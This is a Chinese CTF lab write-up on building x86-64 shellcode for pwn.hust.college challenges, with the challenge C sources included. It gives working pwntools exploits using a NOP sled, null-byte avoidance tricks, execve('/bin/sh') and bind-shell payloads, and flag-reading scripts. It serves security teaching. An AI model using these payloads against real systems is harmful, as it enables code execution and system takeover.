当前位置: 首页 > news >正文

【pwn】shellcode构造

靶场:pwn.hust.college      shellcode:Level 1.1、2.0

目录

shellcode

NOP滑梯

源代码

EXP

过滤空字符

指令替代技巧

字符串构造技巧

源代码

EXP


shellcode

        Shellcode 是一段机器可执行的代码,可以在任何内存地址执行,直接使用系统调用而不依赖库,尽量紧凑短小,避免特定字符如\x00、换行符等。

使用pwntools的shellcraft,将代码编译成汇编指令,asm将汇编指令汇编成机器码:

from pwn import *context(arch="amd64",os="linux",log_level="info")#获取shell
shellcode = asm(shellcraft.sh())# 执行指定命令
shellcode = asm(shellcraft.execve('/bin/sh'))
shellcode = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/flag']))# 系统调用
shellcode = asm(shellcraft.syscall('SYS_execve', '/bin/sh', 0, 0))# 打开文件
shellcode = asm(shellcraft.open('/flag'))# 读取文件
shellcode = asm(shellcraft.cat('/flag'))# 绑定shell
shellcode = asm(shellcraft.bindsh(4444))#手动编写汇编实现execve("/bin/sh", NULL, NULL)
shellcode = asm('''xor rsi, rsipush rsimov rdi, 0x68732f6e69622f2fpush rdipush rsppop rdixor rdx, rdxmov rax, 0x3bsyscall
''')

NOP滑梯

        程序会从标准输入读取0x1000字节,然后随机跳过一段字节(范围0x200到0x8FF),再执行剩下的部分。实际shellcode执行中也常常不确定开始执行的位置,需要构造一段NOP空指令(机器码0x90),使得无论跳到哪里,最终都能执行到有效 payload。

to_skip = (rand() % 0x700) + 0x200;
shellcode_mem += to_skip;
shellcode_size -= to_skip;

源代码

#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>
#include "util.h"#include <capstone/capstone.h>#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{csh handle;cs_insn *insn;size_t count;if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK){printf("ERROR: disassembler failed to initialize.\n");return;}count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);if (count > 0){size_t j;printf("      Address      |                      Bytes                    |          Instructions\n");printf("------------------------------------------------------------------------------------------\n");for (j = 0; j < count; j++){printf("0x%016lx | ", (unsigned long)insn[j].address);for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);for (int k = insn[j].size; k < 15; k++) printf("   ");printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);}cs_free(insn, count);}else{printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");printf("      Address      |                      Bytes\n");printf("--------------------------------------------------------------------\n");for (unsigned int i = 0; i <= shellcode_size; i += 16){printf("0x%016lx | ", (unsigned long)shellcode_addr+i);for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);printf("\n");}}cs_close(&handle);
}void *shellcode_mem;
size_t shellcode_size;int main(int argc, char **argv, char **envp)
{assert(argc > 0);for (int i = 3; i < 10000; i++) close(i);for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));uint8_t shellcode[0x1000];shellcode_mem = (void *)&shellcode;print_desc();puts("You need to skip some bytes.Good luck!");puts("Reading 0x1000 bytes from stdin.\n");shellcode_size = read(0, shellcode_mem, 0x1000);assert(shellcode_size > 0);srand(time(NULL));int to_skip = (rand() % 0x700) + 0x200;shellcode_mem += to_skip;shellcode_size -= to_skip;puts("This challenge is about to execute the following shellcode:\n");print_disassembly(shellcode_mem, shellcode_size);puts("");puts("Executing shellcode!\n");((void(*)())shellcode_mem)();print_exit();
}

EXP

payload=nop_sled+shellcode

from pwn import *context(arch="amd64",os="linux",log_level="info")challenge_path="/challenge/shellcode-injection-level1.1"
p = process(challenge_path)shellcode = shellcraft.execve('/bin/cat',['/bin/cat', '/flag'],[])
codebytes =  b'\x90' * 0x900 + asm(shellcode)p.send(codebytes)
print(p.recvall().decode())

过滤空字符

程序执行shellcode前检测,不能有\x00空字符,绕过空字符的思路主要有以下几种:

指令替代技巧

xor rax, rax    ; 代替 mov rax, 0pop rax         ; 代替 mov rax, 2mov al, 2       ; 代替 mov rax, 2

字符串构造技巧

分步构造、异或构造、运算构造

:分步法
xor rax, rax
push rax              ; 终止符
push 0x67616c66       ; 'flag'
push 0x2f             ; '/'; 异或
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax        ; 栈上得到 '/flag'

源代码

#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include "util.h"#include <capstone/capstone.h>#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{csh handle;cs_insn *insn;size_t count;if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK){printf("ERROR: disassembler failed to initialize.\n");return;}count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);if (count > 0){size_t j;printf("      Address      |                      Bytes                    |          Instructions\n");printf("------------------------------------------------------------------------------------------\n");for (j = 0; j < count; j++){printf("0x%016lx | ", (unsigned long)insn[j].address);for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);for (int k = insn[j].size; k < 15; k++) printf("   ");printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);}cs_free(insn, count);}else{printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");printf("      Address      |                      Bytes\n");printf("--------------------------------------------------------------------\n");for (unsigned int i = 0; i <= shellcode_size; i += 16){printf("0x%016lx | ", (unsigned long)shellcode_addr+i);for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);printf("\n");}}cs_close(&handle);
}void *shellcode_mem;
size_t shellcode_size;int main(int argc, char **argv, char **envp)
{assert(argc > 0);for (int i = 3; i < 10000; i++) close(i);for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));shellcode_mem = mmap((void *) 0x1cad2000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);print_desc();printf("[LEAK] Mapping shellcode memory at %p!\n", shellcode_mem);puts("Do you understand push and pop assignments?");assert(shellcode_mem == (void *) 0x1cad2000);puts("Reading 0x1000 bytes from stdin.\n");shellcode_size = read(0, shellcode_mem, 0x1000);assert(shellcode_size > 0);puts("Executing filter...\n");puts("This challenge requires that your shellcode have no NULL bytes!\n");for (int i = 0; i < shellcode_size; i++)if (!((uint8_t*)shellcode_mem)[i]){printf("Failed filter at byte %d!\n", i);exit(1);}puts("This challenge is about to execute the following shellcode:\n");print_disassembly(shellcode_mem, shellcode_size);puts("");puts("Executing shellcode!\n");((void(*)())shellcode_mem)();print_exit();
}

EXP

直接shellcraft生成就可以了,若还有空字节,可以导入pwnlib.encoders使用编码器,或者用预制硬编码的shellcode。

from pwn import *p = process("/challenge/shellcode-injection-level2.0") 
context(arch='amd64', os='linux')  shellcode = asm(shellcraft.cat('/flag'))
# 经典 /bin/sh
# shellcode = asm('''
#         xor rsi, rsi
#         push rsi
#         mov rdi, 0x68732f6e69622f2f
#         push rdi
#         push rsp
#         pop rdi
#         xor rdx, rdx
#         push 59
#         pop rax
#         syscall
#     ''')p.send(shellcode)
print(p.recvall()) # p.interactive()

http://www.dtcms.com/a/568591.html

相关文章:

  • LandPPT - AI驱动的PPT生成平台
  • 制作音乐网站实验报告建筑工程公司起名大全
  • 贪玩传奇手游官方网站自己买空间让网络公司做网站好吗
  • OSPF错题笔记:区域与LSA完全解析
  • 【Agent】ACE(Agentic Context Engineering)源码阅读笔记---(1)基础模块
  • 【AI基础篇】长短时记忆神经网络LSTM的解析与应用
  • 供、回水管-连续测量超简单
  • 生成式搜索普及后,GEO决定生存线
  • ublox-M8Q GNSS模组驱动与冷热启动定位设置
  • 类加载内存分析及类的初始化分析
  • SAP FICO 常用事务码分类汇总(2025年最新整理)
  • 网站建设是假网站是怎么做的
  • NoSQL 数据库和内存数据库 - MongoDB简单了解
  • CSS3层叠样式表
  • AI SEO实战:利用人工智能提升网站排名与流量的完整策略
  • 个人网站 不用备案吗大学网页制作搜题软件
  • Iden3 协议规范(Version 0)详细总结
  • 破局延时任务(下):Spring Boot + DelayQueue 优雅实现分布式延时队列(实战篇)
  • HTTP协议深度解析:从基础到性能优化
  • NEWBASIC 2.06.7 API 帮助与用户使用手册
  • python MongoDB 基础
  • 在Ubuntu系统上安装英伟达(NVIDIA)RTX 3070 Ti的驱动程序
  • SpringBoot同时使用MyBatis事务以及MongoDB事务
  • 上海建筑网站大全贵阳网页设计培训班
  • jQuery UI 小部件方法调用
  • Robot栏配置
  • 基于openresty实现短链接跳长链接服务
  • tcl脚本|异步FIFO约束
  • C语言基础之指针
  • 郑州网站制作工具龙岩网站建设馨烨